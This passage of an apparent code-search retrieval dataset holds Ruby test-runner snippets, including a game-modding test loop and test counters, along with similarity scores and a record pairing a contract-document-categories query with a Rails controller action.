detect it and skip the crashing test automatically.'\n out '* In case of a game freeze without CTD, the Modsvaskr test framework will detect it after a few minutes and automatically kill the game before re-launching it to resume testing.'\n out ''\n out 'If you want to interrupt in-game testing: invoke the console with ~ key and type stop_tests followed by Enter.'\n out ''\n out 'Press enter to start in-game testing (this will lauch your game automatically)...'\n wait_for_user_enter\n last_time_tests_changed = nil\n with_auto_test_monitoring(\n on_auto_test_statuses_diffs: proc do |in_game_tests_suite, in_game_tests_statuses|\n yield in_game_tests_suite, in_game_tests_statuses\n last_time_tests_changed = Time.now\n end\n ) do\n # Loop on (re-)launching the game when we still have tests to perform\n idx_launch = 0\n loop do\n # Check which test is supposed to run first, as it will help in knowing if it fails or not.\n first_tests_suite_to_run = nil\n first_test_to_run = nil\n current_tests_statuses = check_auto_test_statuses\n @available_tests_suites.each do |tests_suite|\n next unless tests_to_run.key?(tests_suite)\n\n found_test_ok =\n if current_tests_statuses.key?(tests_suite)\n # Find the first test that would be run (meaning the first one having no status, or status 'started')\n tests_to_run[tests_suite].find do |test_name|\n found_test_name, found_test_status = current_tests_statuses[tests_suite].find { |(current_test_name, _current_test_status)| current_test_name == test_name }\n found_test_name.nil? || found_test_status == 'started'\n end\n else\n # For sure the first test of this suite will be the first one to run\n tests_to_run[tests_suite].first\n end\n next unless found_test_ok\n\n first_tests_suite_to_run = tests_suite\n first_test_to_run = found_test_ok\n break\n end\n if first_tests_suite_to_run.nil?\n log \"[ In-game testing #{@game.name} ] - No more test to be run.\"\n break\n else\n log \"[ In-game testing #{@game.name} ] - First test to run should be #{first_tests_suite_to_run} / #{first_test_to_run}.\"\n # Launch the game to execute AutoTest\n @game.launch(autoload: idx_launch.zero? ? false : 'auto_test')\n idx_launch += 1\n log \"[ In-game testing #{@game.name} ] - Start monitoring in-game testing...\"\n last_time_tests_changed = Time.now\n while @game.running?\n check_auto_test_statuses\n # If the tests haven't changed for too long, consider the game has frozen, but not crashed. So kill it.\n if Time.now - last_time_tests_changed > @game.timeout_frozen_tests_secs\n log \"[ In-game testing #{@game.name} ] - Last time in-game tests statuses have changed is #{last_time_tests_changed.strftime('%F %T')}. Consider the game is frozen, so kill it.\"\n @game.kill\n else\n sleep @game.tests_poll_secs\n end\n end\n last_test_statuses = check_auto_test_statuses\n # Log latest statuses\n log \"[ In-game testing #{@game.name} ] - End monitoring in-game testing. In-game test statuses after game run:\"\n last_test_statuses.each do |tests_suite, statuses_for_type|\n log \"[ In-game testing #{@game.name} ] - [ #{tests_suite} ] - #{statuses_for_type.select { |(_name, status)| status == 'ok' }.size} / #{statuses_for_type.size}\"\n end\n # Check for which reason the game has stopped, and eventually end the testing session.\n # Careful as this JSON file can be written by Papyrus that treat strings as case insensitive.\n # cf. https://github.com/xanderdunn/skaar/wiki/Common-Tasks\n auto_test_config = JSON.parse(File.read(auto_test_config_file))['string'].map { |key, value| [key.downcase, value.downcase] }.to_h\n if auto_test_config['stopped_by'] == 'user'\n log \"[ In-game testing #{@game.name} ] - Tests have been stopped by user.\"\n break\n end\n if auto_test_config['tests_execution'] == 'end'\n log \"[ In-game testing #{@game.name} ] - Tests have finished running.\"\n break\n end\n # From here we know that the game has either crashed or has been killed.\n # This is an abnormal termination of the game.\n # We have to know if this is due to a specific test that fails deterministically, or if it is the engine being unstable.\n # Check the status of the first test that should have been run to know about it.\n first_test_status = nil\n _found_test_name, first_test_status = last_test_statuses[first_tests_suite_to_run].find { |(current_test_name, _current_test_status)| current_test_name == first_test_to_run } if last_test_statuses.key?(first_tests_suite_to_run)\n if first_test_status == 'ok'\n # It's not necessarily deterministic.\n # We just have to go on executing next tests.\n log \"[ In-game testing #{@game.name} ] - Tests session has finished in error, certainly due to the game's normal instability. Will resume testing.\"\n else\n # The first test doesn't pass.\n # We need to mark it as failed, then remove it from the runs.\n log \"[ In-game testing #{@game.name} ] - First test #{first_tests_suite_to_run} / #{first_test_to_run} is in error status: #{first_test_status}. Consider it failed and skip it for next run.\"\n # If the test was started but failed before setting its status to something else then change the test status in the JSON file directly so that AutoTest does not try to re-run it.\n if first_test_status == 'started' || first_test_status == '' || first_test_status.nil?\n File.write(\n \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData/AutoTest_#{first_tests_suite_to_run}_Statuses.json\",\n JSON.pretty_generate(\n 'string' => ((last_test_statuses[first_tests_suite_to_run] || []) + [[first_test_to_run, '']]).map do |(test_name, test_status)|\n [\n test_name,\n test_name == first_test_to_run ? 'failed_ctd' : test_status\n ]\n end.to_h\n )\n )\n # Notify the callbacks updating test statuses\n check_auto_test_statuses\n end\n end\n # We will start again. Leave some time to interrupt if we want.\n if @config.no_prompt\n out 'Start again automatically as no_prompt has been set.'\n else\n # First, flush stdin of any pending character\n $stdin.getc until select([$stdin], nil, nil, 2).nil?\n out \"We are going to start again in #{@game.timeout_interrupt_tests_secs} seconds. Press Enter now to interrupt it.\"\n key_pressed =\n begin\n Timeout.timeout(@game.timeout_interrupt_tests_secs) { $stdin.gets }\n rescue Timeout::Error\n nil\n end\n if key_pressed\n log \"[ In-game testing #{@game.name} ] - Run interrupted by user.\"\n # TODO: Remove AutoTest start on load: it has been interrupted by the user, so we should not keep it in case the user launches the game by itself.\n break\n end\n end\n end\n end\n end\n end", "def querytests(binaries)\n # There are no test cases -- inconclusive.\n return 0 if binaries.empty?\n\n # If there are test cases, and _at least_ one of them managed to\n # _pass_, we assume the function is implemented.\n binaries.each { |b|\n f = File.new(\"#{b[0]}/log.passed\", 'r')\n while (line = f.gets)\n return 1 if line.include? b[1]\n end\n f.close\n }\n\n # Require at least 2 failing test cases.\n # XXX: Increase this to eliminate false positive results.\n return 0 if binaries.size < 2\n\n # The function is not implemented.\n return -1\nend", "def testloop\n \n end", "def test test_cases, f\n test_cases.each do |s, l, e|\n a = send(f, s, l)\n print \"#{f} #{s}, #{l} = #{a} ... \"\n if a == e\n puts 'PASS'\n else\n puts 'FAIL'\n end\n end\nend", "def integration_test()\n return [\"all\"]\n end", "def save_tests\n filtered_builds.each do |build|\n tests = test_failures(build['build_num'])\n tests.each do |test|\n save_test(test, build['build_num'])\n end\n end\n end", "def failed_checks\n all_checks_which_pass(false)\n end", "def run_test\n # Add your code here...\n end", "def run_test\n # Add your code here...\n end", "def spec_tests(&block)\n require 'onceover/testconfig'\n\n # Load up all of the tests and deduplicate them\n testconfig = Onceover::TestConfig.new(@onceover_yaml, @opts)\n testconfig.spec_tests.each { |tst| testconfig.verify_spec_test(self, tst) }\n tests = testconfig.run_filters(Onceover::Test.deduplicate(testconfig.spec_tests))\n\n # Loop over each test, executing the user's block on each\n tests.each do |tst|\n block.call(tst.classes[0].name, tst.nodes[0].name, tst.nodes[0].fact_set, tst.nodes[0].trusted_set, tst.nodes[0].trusted_external_set, testconfig.pre_condition)\n end\n end", "def after_test(_test); end", "def after_test(_test); end", "def after_test(_test); end", "def testing\n # ...\n end", "def passed?\n return @test_passed\n end", "def run\n checks.each(&:run)\n end", "def count_tests\n Dir.entries(@path.to_s + \"sandbox\").each do |currFile|\n isFile = currFile.to_s =~ /\\.java$|\\.py$|\\.c$|\\.cpp$|\\.js$|\\.php$|\\.rb$|\\.hs$|\\.clj$|\\.go$|\\.scala$|\\.coffee$|\\.cs$|\\.groovy$\\.erl$/i\n\n unless isFile.nil?\n file = @path.to_s + \"sandbox/\" + currFile.to_s\n begin\n case @language.to_s\n when \"Java-1.8_JUnit\"\n if File.open(file).read.scan(/junit/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Mockito\"\n if File.open(file).read.scan(/org\\.mockito/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Powermockito\"\n if File.open(file).read.scan(/org\\.powermock/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Approval\"\n if File.open(file).read.scan(/org\\.approvaltests/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Python-unittest\"\n if File.open(file).read.scan(/unittest/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Python-pytest\"\n if file.include?\"test\"\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Ruby-TestUnit\"\n if File.open(file).read.scan(/test\\/unit/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Ruby-Rspec\"\n if File.open(file).read.scan(/describe/).count > 0\n @totaltests += File.open(file).read.scan(/it /).count\n end\n when \"C++-assert\"\n if File.open(file).read.scan(/cassert/).count > 0\n @totaltests += File.open(file).read.scan(/static void /).count\n end\n when \"C++-GoogleTest\"\n if File.open(file).read.scan(/gtest\\.h/).count > 0\n @totaltests += File.open(file).read.scan(/TEST\\(/).count\n end\n when \"C++-CppUTest\"\n if File.open(file).read.scan(/CppUTest/).count > 0\n @totaltests += File.open(file).read.scan(/TEST\\(/).count\n end\n when \"C++-Catch\"\n if File.open(file).read.scan(/catch\\.hpp/).count > 0\n @totaltests += File.open(file).read.scan(/TEST_CASE\\(/).count\n end\n when \"C-assert\"\n if File.open(file).read.scan(/assert\\.h/).count > 0\n @totaltests += File.open(file).read.scan(/static void /).count\n end\n when \"Go-testing\"\n if File.open(file).read.scan(/testing/).count > 0\n @totaltests += File.open(file).read.scan(/func /).count\n end\n when \"Javascript-assert\"\n if File.open(file).read.scan(/assert/).count > 0\n @totaltests += File.open(file).read.scan(/assert/).count - 2 #2 extra because of library include line\n end\n when \"C#-NUnit\"\n if File.open(file).read.scan(/NUnit\\.Framework/).count > 0\n @totaltests += File.open(file).read.scan(/\\[Test\\]/).count\n end\n when \"PHP-PHPUnit\"\n if File.open(file).read.scan(/PHPUnit_Framework_TestCase/).count > 0\n @totaltests += File.open(file).read.scan(/function /).count\n end\n when \"Perl-TestSimple\"\n if File.open(file).read.scan(/use Test/).count > 0\n @totaltests += File.open(file).read.scan(/is/).count\n end\n when \"CoffeeScript-jasmine\"\n if File.open(file).read.scan(/jasmine-node/).count > 0\n @totaltests += File.open(file).read.scan(/it/).count\n end\n when \"Erlang-eunit\"\n if File.open(file).read.scan(/eunit\\.hrl/).count > 0\n @totaltests += File.open(file).read.scan(/test\\(\\)/).count\n end\n when \"Haskell-hunit\"\n if File.open(file).read.scan(/Test\\.HUnit/).count > 0\n @totaltests += File.open(file).read.scan(/TestCase/).count\n end\n when \"Scala-scalatest\"\n if File.open(file).read.scan(/org\\.scalatest/).count > 0\n @totaltests += File.open(file).read.scan(/test\\(/).count\n end\n when \"Clojure-.test\"\n if File.open(file).read.scan(/clojure\\.test/).count > 0\n @totaltests += File.open(file).read.scan(/deftest/).count\n end\n when \"Groovy-JUnit\"\n if File.open(file).read.scan(/org\\.junit/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Groovy-Spock\"\n if File.open(file).read.scan(/spock\\.lang/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count - 1 #1 extra because of object def\n end\n else\n @totaltests = \"NA\"\n end\n rescue\n puts \"Error: Reading in count_tests\"\n end\n end\n end\nend", "def run test_identifier=nil\n @dispatcher.run!\n # start\n message(\"start\")\n suite_setup,suite_teardown,setup,teardown,tests=*parse(test_identifier)\n if tests.empty? \n @dispatcher.exit\n raise RutemaError,\"No tests to run!\"\n else\n # running - at this point all checks are done and the tests are active\n message(\"running\")\n run_scenarios(tests,suite_setup,suite_teardown,setup,teardown)\n end\n message(\"end\")\n @dispatcher.exit\n @dispatcher.report(tests)\n end", "def report_from(tests)\n tests.map do |test|\n report = [test.name, test.executed?]\n report << test.platform.name unless test.platform.nil?\n report << test.node unless test.node.nil?\n # Only report the first line of the error messages, as some contain callstacks\n report << test.errors.map { |error| error.split(\"\\n\").first } unless test.errors.empty?\n report\n end\n end", "def run_all\n UI.info \"Running all tests...\"\n _really_run(Util.xcodebuild_command(options))\n end", "def process_test_cases\n raise NotImplementedError, 'You must implement this'\n end", "def test_run_completed(test_run)\n report_results test_run\n end", "def run_fe_tests\n end", "def run_all\n passed = @runner.run_all!\n\n throw :task_has_failed unless passed\n end", "def run_tests\n\n ::RSpec::Core::Runner.run([])\n\n print ::IRB.CurrentContext.io.prompt\n\n end", "def test_list\n list = []\n instance_methods.each do |m|\n next unless m.to_s =~ /^(ok|no)[_ ]/\n list << m\n end\n list\n end" ]
[ "0.7274132", "0.7200911", "0.71905994", "0.7134598", "0.7127439", "0.70358455", "0.6860759", "0.68229115", "0.68049264", "0.6790065", "0.6790065", "0.6768047", "0.65728307", "0.65551996", "0.65487796", "0.65460235", "0.65293026", "0.64595217", "0.6447049", "0.6447049", "0.6441135", "0.64316434", "0.64316434", "0.642825", "0.63923085", "0.636345", "0.6343057", "0.63372016", "0.63203555", "0.6299623", "0.6284468", "0.62774086", "0.62632114", "0.6259585", "0.62464374", "0.6235319", "0.62153786", "0.62005377", "0.6199617", "0.6199139", "0.61982924", "0.6195854", "0.61939454", "0.6193542", "0.6192025", "0.6192025", "0.6192025", "0.61888516", "0.6185608", "0.6170051", "0.61620754", "0.6158359", "0.61409265", "0.61348844", "0.61348844", "0.61343503", "0.61328936", "0.61303157", "0.6121021", "0.6111094", "0.6106691", "0.60886276", "0.6087629", "0.6087446", "0.60841537", "0.60841537", "0.60830265", "0.60774684", "0.60764015", "0.6075713", "0.6073246", "0.6063769", "0.6051214", "0.6050966", "0.6042158", "0.60243255", "0.60241014", "0.6019627", "0.6019041", "0.60136944", "0.60131127", "0.6006864", "0.6000295", "0.6000295", "0.6000057", "0.5990331", "0.5990331", "0.5990331", "0.5983938", "0.5971915", "0.5969684", "0.59696263", "0.5965452", "0.5955056", "0.59545577", "0.59439194", "0.594306", "0.5942392", "0.5942066", "0.5933383", "0.59289336" ]
0.0
-1
GET /contract_doc_categories GET /contract_doc_categories.json
def index @contract_doc_categories = ContractDocCategory.all respond_to do |format| format.html # index.html.erb format.json { render json: @contract_doc_categories } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @contractor_categories = ContractorCategory.all\n end", "def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end", "def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def get_categories(project_id_or_key)\n get(\"projects/#{project_id_or_key}/categories\")\n end", "def get_categories\n body = build_request(2935, 1501, \"ACTIVEHEADINGS\")\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n end", "def index\n @categories = collections_config.values\n end", "def get_categories(query_obj=nil)\n uri = URI.parse(@uri + \"/Categories\")\n results = get(uri,query_obj)\n end", "def show\n @contract_doc_category = ContractDocCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract_doc_category }\n end\n end", "def getCategories(_, _, _)\n @db.categories\n end", "def get_categories_list\n args = receive_should_validate?\n get('redtube.Categories.getCategoriesList', {}, [], args[:should_validate])\n end", "def categories\n expose Metadata.categories(@oauth_token)\n end", "def categories\n get('venues/categories').categories\n end", "def categories(query_object)\n\t\tdata = do_get_json(CATEGORIES_ENDPOINT, query_object)\n\tend", "def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend", "def categories\n\t\tbegin\n\t\t\t@categories = Category.select(:id, :name)\n\t\t\trender json: @categories\n\t\trescue Exception => e\n\t\t\terror_handling_bad_request(e)\n\t\tend\n\tend", "def getCategoryAll()\n params = Hash.new\n return doCurl(\"get\",\"/category/all\",params)\n end", "def categories\n @categories ||= (@doc/\"Category\").collect { |it| Element.new(it) }\n end", "def index\n @all_categories = CateItem.all\n end", "def index\n @categories = @project.categories.all\n end", "def categories(args={})\n res = api_request('private.request.getCategories', 'GET')\n res = JSON.parse(res)['category'] rescue []\n\n unless args[:include_deleted] and args[:include_deleted] == true\n res.reject!{|k, v| v['fDeleted'] == '1'} rescue []\n end\n \n return res\n end", "def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end", "def get_categories(add_params = nil)\n params = {\n }\n api_call('/global/categories(.:format)',:get,params,add_params)\n end", "def categories\n add_to_query restrict_kind: 'category'\n end", "def getcategories\n category_size = RequirementCategory.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n\n \tif current_offset + direction < category_size && current_offset + direction >= 0\n offset = current_offset + direction\n \t@categories = RequirementCategory.all.offset(offset).take(10) \n \trender :json => @categories\n else\n \trender :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n\n\tend", "def event_categories(options = {})\n response = connection.get do |req|\n req.url \"events/categories\", options\n end\n return_error_or_body(response, response.body.response.categories)\n end", "def all_categories\n end", "def get_categories()\n\t\tzomoato_categories_url = @base_uri + \"categories\"\n\t\tresponse = HTTParty.get(zomoato_categories_url, headers: @headers)\n\t\tif response.success?\n\t\t\t@categories = response.parsed_response\n\t\telse\n\t\t\traise response.response\n\t\tend\n\t\treturn @categories\n\tend", "def budget_categories_data\n # @budget.budget_items.collect { |budget_item| budget_item.category.name.to_s }.to_json\n categories = Category.for_budget.to_a\n categories << Category.find_by_name(\"Miscellaneous\")\n return categories.collect { |category| category.name.to_s }.to_json\n end", "def list_customer_categories\n doc = Hpricot::XML(request.raw_post) \n doc = doc.to_s.gsub(\"&amp;\",\"&\") \n doc = Hpricot::XML(doc)\n @customer_categories = Customer::CustomerCrud.list_customer_categories(doc)\n render_view( @customer_categories,'customer_categories','L')\n end", "def new\n @contract_doc_category = ContractDocCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract_doc_category }\n end\n end", "def index\n @categories = CategoryService.index\n end", "def categories\n []\n end", "def categories(options = {})\n fetch_categories.at('categories').children_of_type('category').inject([]){ |r, i| r << parse_single_category_xml(i) }\n\tend", "def index\n @categories = Category.roots\n end", "def create\n @contract_doc_category = ContractDocCategory.new(params[:contract_doc_category])\n\n respond_to do |format|\n if @contract_doc_category.save\n format.html { redirect_to contract_doc_categories_path, notice: 'Contract doc category was successfully created.' }\n format.json { render json: @contract_doc_category, status: :created, location: @contract_doc_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contract_doc_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def categories(params={})\n return @categories if (@categories && !params[:force])\n @categories = get_categories\n end", "def get_categories\n @categories = Category.all\n end", "def index\n @convention_categories = ConventionCategory.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @convention_categories }\n end\n end", "def index\n @categories = @current_website.categories.all\n end", "def index\n @catalog_categories = CatalogCategory.all\n end", "def destroy\n @contract_doc_category = ContractDocCategory.find(params[:id])\n @contract_doc_category.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_doc_categories_url }\n format.json { head :no_content }\n end\n end", "def index\n @company_categories = CompanyCategory.all\n end", "def GetCategory id\n\n APICall(path: \"categories/#{id}.json\")\n\n end", "def all(params = {})\n handle_all_request(\"/categories\", :categories, params)\n end", "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.get_categories ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_search'] = opts[:'filter_search'] if !opts[:'filter_search'].nil?\n query_params[:'filter_active'] = opts[:'filter_active'] if !opts[:'filter_active'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceCategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def fetch_categories\r\n page = File.open(\"#{Rails.root}/public/Categories.html\") { |f| Nokogiri::HTML(f) }\r\n Category.save_fetched_categories_and_subcategories(page)\r\n end", "def index\n @word_content_categories = WordContentCategory.all\n end", "def index\n categories = @vertical.catgories.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded categories', data:categories},status: :ok\n end", "def categories\n category\n end", "def categories\n @categories ||= wayfinder.decorated_vocabularies.sort_by(&:label)\n end", "def index\n @categories = Category.all\n @categories.each do |category|\n authorize! :read, category\n end\n render json: @categories\n end", "def category\n client.categories.find(data[\"categoryId\"])\n end", "def index\n @categs = Categ.all\n end", "def contract_category_collection_for_select_options(contract=nil)\n categories = ContractCategory.shared.active\n\n collection = []\n if contract && contract.category && !contract.category.active?\n collection << [ \"--- #{l(:actionview_instancetag_blank_option)} ---\", '' ]\n else\n collection << [ \"--- #{l(:actionview_instancetag_blank_option)} ---\", '' ] unless categories.detect(&:is_default)\n end\n categories.each { |a| collection << [a.name, a.id] }\n collection\n end", "def categories(sport_id)\n get(\"sports/en/sports/sr:sport:#{sport_id}/categories.xml\")\n end", "def catalogs\n path = \"#{api_root}/index/catalogs\"\n process_api_request(:get, path)\n end", "def index\n respond_with Category.all\n end", "def categories\n response[\"categories\"].map!{|category| Foursquared::Response::Category.new(client, category)} if response[\"categories\"]\n end", "def get_department_categories\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end", "def index\n @section_categories = SectionCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @section_categories }\n end\n end", "def catses\n REXML::XPath.match(@xml, './app:categories', Names::XmlNamespaces)\n end", "def index\n @sys_categories = Sys::Category.all\n end", "def categories\n @categories = FinanceTransactionCategory.all(:conditions => {:deleted => false}, :order => 'name asc')\n @categories = @categories.select { |x| x.accessible? }\n @category_ids = @categories.map { |cat| cat.id if FinanceTransaction.find_by_category_id(cat.id).present? }.compact\n @multi_config = FinanceTransactionCategory.get_multi_configuration\n @fee_category_present = FinanceFeeCategory.first\n # @fixed_categories = @categories.reject { |c| !c.is_fixed }\n # @other_categories = @categories.reject { |c| c.is_fixed }\n end", "def get_menu_category\n require \"rest_client\"\n require \"json\"\n\n self.categories.update_all(still_present: false)\n response = RestClient.get(\"https://api.omnivore.io/0.1/locations/#{self.omnivore_id}/menu/categories\", {:content_type => :json, :'Api-Key' => Setting.first.app_api_key})\n res = JSON.parse(response)\n res[\"_embedded\"][\"categories\"].each do |category|\n cat = self.categories.where(omnivore_id: category[\"id\"]).first_or_create\n cat.name = category[\"name\"]\n cat.still_present = true\n cat.save\n end\n\n self.categories.where(still_present: false).destroy_all\n end", "def index\n @cp_categories = Category.all\n @title = \"Categories\"\n end", "def index\n\t\tcreator_categories\n\tend", "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CategoriesApi.get_categories ...'\n end\n # resource path\n local_var_path = '/categories'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Category>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @categorie_competences = CategorieCompetence.all\n end", "def index\n\n\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def index\r\n @ccategories = Ccategory.all\r\n\t@cart = current_cart\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @ccategories }\r\n end\r\n end", "def index\n @roots = Category.roots\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @categories }\n end\n end", "def index\n\t@categories = Category.all\n\tend", "def index\n\t\t@categories = Category.all\n\tend", "def categories\n @categories = response[\"categories\"] || []\n @categories.map!{|category| Foursquared::Response::Category.new(client, category)}\n end", "def index\n @categories = Category.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "def categories(make, year)\n make_id = get_object_id make\n response = get_url \"Categories/#{make_id}/#{year}\"\n response_obj = JSON.parse response\n response_obj[\"GetCategoriesResult\"].map{|r| Models::Category.from_response_hash(r)}\n end", "def index\n categories = {\n \"categoryId\": params[:ids]\n }\n auction_categories = Auction::Category.list categories\n if auction_categories[:comm][:code] == \"200\"\n render json: {status: auction_categories[:comm][:code].to_i, msg: auction_categories[:comm][:msg], data: {auction_categories: auction_categories[:data]}}\n else\n render json: {status: auction_categories[:comm][:code].to_i, msg: auction_categories[:comm][:msg], data: {}}\n end\n end", "def index\n\t @categories = Category.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @categories }\n\t end\n\tend", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end", "def index\n @categories = Category.all\n end" ]
[ "0.69252735", "0.67598003", "0.673712", "0.6678443", "0.6576718", "0.65489995", "0.65432817", "0.64964265", "0.64686626", "0.64140546", "0.6370414", "0.63575125", "0.63302326", "0.6323264", "0.63148177", "0.630736", "0.6271636", "0.6251189", "0.6238842", "0.623381", "0.6232918", "0.6222015", "0.62062913", "0.61878794", "0.618322", "0.6167046", "0.6152603", "0.61525005", "0.6150502", "0.6143978", "0.6125844", "0.6125107", "0.6093598", "0.6074938", "0.6063945", "0.60517776", "0.6051347", "0.6048572", "0.60437334", "0.60289836", "0.60228777", "0.60034966", "0.5993974", "0.59809506", "0.59789485", "0.5976534", "0.5972675", "0.59674615", "0.59469116", "0.5945482", "0.59411424", "0.59360945", "0.5925766", "0.5924062", "0.5919075", "0.59079915", "0.5895175", "0.5890763", "0.58877856", "0.5878834", "0.5871843", "0.58635116", "0.5850321", "0.58429724", "0.58426005", "0.58408785", "0.5838709", "0.5830696", "0.58195806", "0.58192885", "0.58173543", "0.58162224", "0.58162224", "0.58156693", "0.58135986", "0.58127016", "0.5807362", "0.58063436", "0.57986164", "0.5796984", "0.5796693", "0.5792737", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276", "0.5786276" ]
0.7734442
0
GET /contract_doc_categories/1 GET /contract_doc_categories/1.json
def show @contract_doc_category = ContractDocCategory.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @contract_doc_category } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
